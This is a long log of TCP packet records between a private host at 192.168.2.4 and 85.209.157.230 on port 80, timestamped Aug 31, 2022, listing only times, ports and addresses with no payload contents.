Aug 31, 2022 14:28:35.479732037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479813099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479839087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479861975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479871988 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.479893923 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.479907990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.479952097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480000973 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.480282068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480307102 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480331898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480344057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480384111 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.480581999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480593920 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.480607033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480627060 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.480648041 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480670929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480700016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480701923 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.480731010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480743885 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.480755091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480870008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480894089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480917931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480942011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480943918 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.480958939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.480968952 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.481302023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481326103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481342077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481354952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481365919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481376886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481409073 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.481448889 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.481589079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481606960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481622934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481676102 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.481703997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481791973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481806040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481842995 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.481977940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.481996059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482011080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482026100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482042074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482057095 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.482062101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482086897 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.482323885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482353926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482369900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482414961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482424974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.482431889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482444048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.482470036 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.503573895 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.507582903 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.539195061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.539268970 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.539277077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.539325953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.539385080 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.539400101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.539438963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608650923 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608691931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608717918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608731031 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.608736038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608778954 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.608804941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608829021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608851910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608875990 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.608875990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608899117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608916998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.608920097 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.609879971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.609927893 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.610042095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610119104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610143900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610161066 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.610167980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610192060 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610207081 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.610213041 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610359907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610393047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610404015 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.610414982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610440969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610483885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610507011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610522985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610549927 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.610563993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.610879898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610902071 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610917091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610932112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610968113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.610975981 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.610990047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.611011982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.611028910 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.612188101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612211943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612231970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612253904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612255096 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.612281084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612291098 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.612302065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612318039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612358093 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.612369061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612416029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612437963 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.612440109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612462997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612495899 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.612497091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612519979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612535000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.612576008 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.614079952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614109039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614130974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614136934 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.614154100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614170074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614192963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614197016 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.614234924 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.614238977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614300013 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614322901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614342928 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.614346027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614370108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614383936 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.614383936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614749908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614806890 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.614830017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614859104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614885092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614897966 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.614912033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614938021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614959955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.614959955 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.614990950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615036964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615060091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.615063906 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615091085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615113974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.615120888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615151882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615169048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615175962 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.615464926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615492105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615509033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615535021 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.615569115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615603924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615619898 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.615632057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615658045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615679026 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.615684032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615710020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.615724087 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.615727901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616090059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616117001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616132975 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.616167068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616202116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616211891 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.616230011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616255999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616271973 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616276979 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.616370916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616398096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616422892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616427898 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.616451025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616481066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616485119 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.616512060 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616528034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.616533041 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.617196083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617208004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.617233038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617257118 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.617275953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617297888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617326975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617331982 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.617351055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617394924 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.617397070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617450953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617496967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617497921 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.617521048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617548943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617562056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.617633104 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.618196964 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618227959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618264914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618299007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618304968 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.618331909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618336916 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.618356943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618377924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618390083 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.618393898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618422031 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.618591070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618628979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618662119 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618694067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618711948 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.618771076 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.618789911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618849993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618885040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.618897915 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.618910074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619142056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619177103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619209051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619236946 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.619235992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619282007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619302988 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.619313002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619338036 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.619339943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619590998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619654894 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.619661093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619669914 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.619703054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619743109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619770050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619785070 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.619811058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619817019 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.619834900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619853020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.619889021 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.620438099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.620469093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.620490074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.620508909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.620529890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.620554924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.620559931 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.620589018 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.620594025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.620611906 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.620635986 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621051073 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621074915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621098995 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621107101 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621146917 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621148109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621170998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621191978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621212006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621227026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621233940 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621259928 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621268034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621313095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621329069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621365070 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621406078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621421099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621437073 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621452093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621459007 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621463060 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621488094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621862888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621880054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621896029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621928930 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621938944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.621953964 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.621954918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.622019053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.622035980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.622045994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.622057915 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.622098923 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.622963905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623051882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623073101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623092890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623111963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623123884 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.623131037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623151064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623155117 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.623164892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623171091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.623411894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623430014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623445034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623508930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623517990 CEST	49726	80	192.168.2.4	85.209.157.230
